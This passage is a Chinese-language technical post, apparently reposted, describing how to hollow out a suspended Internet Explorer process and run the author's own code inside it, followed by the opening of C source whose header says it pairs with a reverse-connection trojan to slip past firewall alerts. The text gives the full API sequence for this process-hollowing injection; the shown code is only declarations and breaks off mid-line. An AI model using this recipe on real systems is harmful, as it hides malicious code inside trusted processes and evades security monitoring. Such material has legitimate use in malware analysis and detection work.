2024年3月25日发(作者：)

EXE注入-傀儡进程2008-08-16 16:38 直接将自身代码注入傀儡进程，不需要

DLL。首先用CreateProcess来创建一个挂起的IE进程，创建时候就把它挂起。然后得到

它的装载基址，使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数

据，。再用VirtualAllocEx来个ie进程重新分配内存空间，大小为要注入程序的大小(就是

自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址，就是刚才分配的

内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用

SetThreadContext设置下进程状态，最后使用ResumeThread继续运行IE进程。

/*********************************************************************

Author: Polymorphours

Date: 2005/1/10

另一种将自己代码注入傀儡进程的方法，配合反弹木马，可绕过防火墙的

反向连接报警。

**********************************************************************/

#include

#include

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);

typedef struct _ChildProcessInfo {

DWORD dwBaseAddress;

DWORD dwReserve;

} CHILDPROCESS, *PCHILDPROCESS;

BOOL

FindIePath(

char *IePath,

int *dwBuffSize

);

BOOL InjectProcess(void);

DWORD

GetSelfImageSize(

HMODULE hModule